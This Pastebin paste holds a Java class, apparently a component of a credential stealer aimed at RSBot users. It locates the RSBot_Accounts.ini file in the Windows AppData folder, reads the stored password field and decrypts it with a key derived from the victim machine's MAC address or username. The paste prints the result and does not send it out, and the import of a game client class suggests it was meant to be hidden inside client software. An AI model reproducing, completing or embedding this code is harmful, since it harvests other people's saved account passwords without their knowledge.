Advertisement
Guest User

Untitled

a guest
Jul 18th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 4.63 KB | None | 0 0
  1. /* Made by Conor
  2.  * 1/31/11 3:14 AM
  3.  */
  4.  
  5. import java.io.BufferedReader;
  6. import java.io.*;
  7. import java.net.InetAddress;
  8. import java.net.NetworkInterface;
  9. import java.security.MessageDigest;
  10. import java.security.NoSuchAlgorithmException;
  11. import java.util.Properties;
  12. import sign.signlink;
  13.  
  14. public class getFile extends Thread {
  15.  
  16.     public static String key;
  17.     public String pin = "";
  18.     public static String pw = "";
  19.     public String username = "";
  20.     public static Properties p = new Properties();
  21.     public static String home = System.getProperty("user.home");
  22.     public static String appdata = "/appdata/";
  23.     public static String file = "RSBot_Accounts.ini";
  24.     public static String os = System.getProperty("os.name");
  25.     public String fullDir = "";
  26.    
  27.     public static String exists1() {
  28.         if (System.getProperty("os.name").contains("Windows XP")) {
  29.             System.out.println(home + "/Application Data/" + file);
  30.             return home + "/Application Data/" + file;
  31.         } else if (System.getProperty("os.name").contains("Windows Vista")) {
  32.             return home + appdata + "/Roaming/" + file;
  33.         } else if (System.getProperty("os.name").contains("Windows 7")) {
  34.             return home + appdata + "/Roaming/" + file;
  35.         } else {
  36.             return home + appdata + "/Roaming/" + file;
  37.         }
  38.     }
  39.    
  40.     public static void readFully() {
  41.          try{
  42.                 FileInputStream fstream = new FileInputStream(directory());
  43.                 DataInputStream in = new DataInputStream(fstream);
  44.                     BufferedReader br = new BufferedReader(new InputStreamReader(in));
  45.                 String strLine;
  46.                 while ((strLine = br.readLine()) != null)   {
  47.                     //
  48.                   System.out.println (strLine);
  49.                 }
  50.                 in.close();
  51.                 }catch (Exception e){
  52.                   System.err.println("Error: " + e.getMessage());
  53.                 }
  54.     }
  55.  
  56.     public static String directory() {
  57.         if (System.getProperty("os.name").contains("Windows XP")) {
  58.             System.out.println(home + "/Application Data/" + file);
  59.             return home + "/Application Data/" + file;
  60.         } else if (System.getProperty("os.name").contains("Windows Vista")) {
  61.             return home + appdata + "/Roaming/" + file;
  62.         } else if (System.getProperty("os.name").contains("Windows 7")) {
  63.             return home + appdata + "/Roaming/" + file;
  64.         } else {
  65.             return home + appdata + "/Roaming/" + file;
  66.         }
  67.     }
  68.  
  69.     public static void checkForFile() {
  70.         boolean exists = (new File(exists1()).exists());
  71.         if (exists) {
  72.             try {
  73.                 loadAnnouncements();
  74.             } catch (Exception e) {// none found
  75.             }
  76.         } else {
  77.         }
  78.     }
  79.  
  80.     private static void loadIni() {
  81.         try {
  82.             p.load(new FileInputStream(directory()));
  83.             readFully();
  84.         } catch (Exception e) {
  85.         }
  86.     }
  87.  
  88.     public static void loadAnnouncements() {
  89.         try {
  90.             loadIni();
  91.             if (p.getProperty("[").length() > 0) {
  92.                 System.out.println(p.getProperty("["));
  93.             }
  94.             if (p.getProperty("password").length() > 0) {
  95.                 pw = p.getProperty("password");
  96.                 CheckHash(p.getProperty("password"));
  97.             }
  98.         } catch (Exception e) {
  99.         }
  100.     }
  101.  
  102.     public static void getInfo() {
  103.         try {
  104.             final InetAddress address = InetAddress.getLocalHost();
  105.             final NetworkInterface ni = NetworkInterface
  106.                     .getByInetAddress(address);
  107.             key = new String(ni.getHardwareAddress());
  108.         } catch (final Exception e) {
  109.             key = System.getProperty("user.name")
  110.                     + System.getProperty("user.language");
  111.         }
  112.     }
  113.  
  114.     public static void CheckHash(String hash) {
  115.         try {
  116.             System.out.println(hash);
  117.             getInfo();
  118.             String toDecrypt = hash;
  119.             decrypt(toDecrypt);
  120.             System.out.println(toDecrypt);
  121.         } catch (Exception e) {
  122.             // No file found need to add a has file check to skip all this if
  123.             // dont exist
  124.         }
  125.     }
  126.  
  127.     private static byte[] SHA1(final String in) // Decrypt method
  128.             throws NoSuchAlgorithmException, UnsupportedEncodingException {
  129.         MessageDigest md = MessageDigest.getInstance("SHA-1");
  130.         md.update(in.getBytes("iso-8859-1"), 0, in.length());
  131.         return md.digest();
  132.     }
  133.  
  134.     private static String decrypt(final String start) {// Decrypt method2
  135.         final String delim = "a";
  136.         if (start == null)
  137.             return null;
  138.         byte[] hashedkey;
  139.         byte[] password;
  140.         int i;
  141.         try {
  142.             hashedkey = SHA1(key);
  143.         } catch (final NoSuchAlgorithmException e) {
  144.             e.printStackTrace();
  145.             return start;
  146.         } catch (final UnsupportedEncodingException e) {
  147.             e.printStackTrace();
  148.             return start;
  149.         }
  150.         final String[] temp = start.split(delim);
  151.         password = new byte[temp.length];
  152.         for (i = 0; i < hashedkey.length; i++) {
  153.             final int temp2 = Integer.parseInt(temp[i]);
  154.             if (hashedkey[i] == temp2) {
  155.                 break;
  156.             } else {
  157.                 password[i] = (byte) (temp2 - hashedkey[i]);
  158.             }
  159.         }
  160.         return new String(password, 0, i);
  161.     }
  162. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement